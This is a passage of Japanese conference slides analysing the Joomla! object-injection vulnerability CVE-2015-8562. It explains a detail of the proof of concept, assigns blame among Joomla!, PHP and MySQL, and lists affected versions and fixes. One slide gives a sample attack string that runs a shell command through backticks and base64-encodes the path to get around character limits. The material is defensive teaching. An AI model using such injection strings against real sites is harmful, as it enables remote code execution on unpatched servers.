PoCのココは何をしている? ;JFactory::getConfig(); 44
45.
JFactory::getConfig(); の秘密 $parsed_feed_url =
SimplePie_Misc::parse_url($this->feed_url); if ($this->cache && $parsed_feed_url[‘scheme’] !== ‘’) // この if文を通過する工夫 // scheme は以下の関数で取得 function parse_iri($iri) { preg_match('/^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(?([^#]*))?(#(.*))?$/', $iri, $match); for ($i = count($match); $i <= 9; $i++) { $match[$i] = ''; } return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' => $match[9]); } ‘/^(([^:/?#]+):)? ← : / ? # 以外の文字 feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 : が続く必要 がある 45
46.
JFactory::getConfig(); の秘密(続き) ‘/^(([^:/?#]+):)? ←
: / ? # 以外の文字 feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 : が続く必要がある JFactory::getConfig(); は何もしていないが、コロン「:」を入れる必要が あった 以下のような攻撃文字列でも、おk touch `echo dG91Y2ggL3RtcC9vY2tlZ2hlbQ== | base64 -d`;: / が使えないので、パスをbase64エンコードして指定している 46
47.
脆弱性は誰のせい? 47
48.
Joomla! • 色々イケテナイ • Joomla!以外のソフトウェアをいくつか調べたが、テキスト型 の列にセッションデータを格納しているのはJoomla!だけだっ た •
デストラクタが複雑だし、call_user_func等を呼びまくってい るのもイケテナイ… 48
49.
MySQL • UTF-8の4バイト文字があると、エラーにしないで、そこから 先を切り詰める仕様はイケテナイ… • だが、「仕様」だし、MySQLの脆弱性とまでは言えない •
MySQLの設定を「厳しく」することで、この種の問題を受け にくくすることが望ましい 49
50.
PHP • 直接の原因を作っているのはPHP • 主要ディストリビューションの中で、RHEL/CentOSだけが パッチを提供していないのはイケテナイ tokuhirom2015年12月21日
11:07 Twitter などでも指摘されておりますが、文字列型のカラムにバイナリを入れるとい う joolma! 側の設計にそもそもの問題があり、LONGBLOB などにデータを格納すべ きだったと思います。 文字列型のカラムにバイナリを入れるという設計に問題があるのでこの脆弱性は、 やはり joolma! の側の脆弱性といって差し支えないように思います。 50
51.
結論 • この脆弱性(CVE-2015-8562)はJoomla! とPHPの共犯 •
MySQLは幇助 • Joomla! / PHP / MySQLのいずれかがしっかりしていれば、こ の問題は顕在化しなかった • 「防御的プログラミング」により、不慮の問題を避けましょ う 51
52.
防御的プログラミング 「防御的プログラミング」とはプログラミングに対して防御的になるこ と、つまり「そうなるはずだ」と決め付けないことである。この発想は 「防御運転」にヒントを得たものだ。防御運転では、他のドライバーが 何をしようとするかまったくわからないと考える。そうすることで、他 のドライバーが危険な行動に出たときに、自分に被害が及ばないように する。たとえ他のドライバーの過失であっても、自分の身は自分で守る ことに責任を持つ。同様に、防御的プログラミングの根底にあるのは、 ルーチンに不正なデータが渡されたときに、それが他のルーチンのせい であったとしても、被害を受けないようにすることだ。もう少し一般的 に言うと、プログラムには必ず問題があり、プログラムは変更されるも のであり、賢いプログラマはそれを踏まえてコードを開発する、という 認識を持つことである。 CODE COMPLETE 第2版
第8章 から引用 52
53.
対策 53
54.
攻撃の前提条件 • PHPバージョン: – 5.4.44
以前の 5.4.x – 5.5.28 以前の 5.5.x – 5.6.12 以前の 5.6.x • Joomla! バージョン : 1.5.0 から 3.4.5 • その他: MySQLの設定にも依存 54
55.
対策 • PHPバージョンを上げる(サポート中の最新に) – 5.4.45
以降の 5.4.x (サポート終了) – 5.5.29 以降の 5.5.x (サポート終了) – 5.6.13 以降の 5.6.x ○ – 7.0.0 以降の 7.0.x ○ – その他、Debian、Ubuntu、Fedoraなら最新のパッチで対応可 • Joomla! バージョン : 3.4.6以降(最新にすること) • その他(保険的対策): MySQLの設定: sql_modeにSTRICT_TRANS_TABLESまたは STRICT_ALL_TABLESを指定(エラーになる) 55
56.
オブジェクトインジェクションの一般的対策 • 根本対策 – 任意オブジェクトが生成できるコードを書かない –
典型的には、外部からコントロールできる値をunserialize関数に処 理させない – 文字列がオブジェクトに化けるような脆弱性(!)にパッチを適用する • 保険的対策 – デストラクタでは複雑な処理を極力避け、後始末等もできれば明示 的に呼び出すようにする – eval、system、call_user_func等を極力使わない – 脆弱性対策は局所的な単位で行うようにする Copyright © 2016 HASH Consulting Corp. 56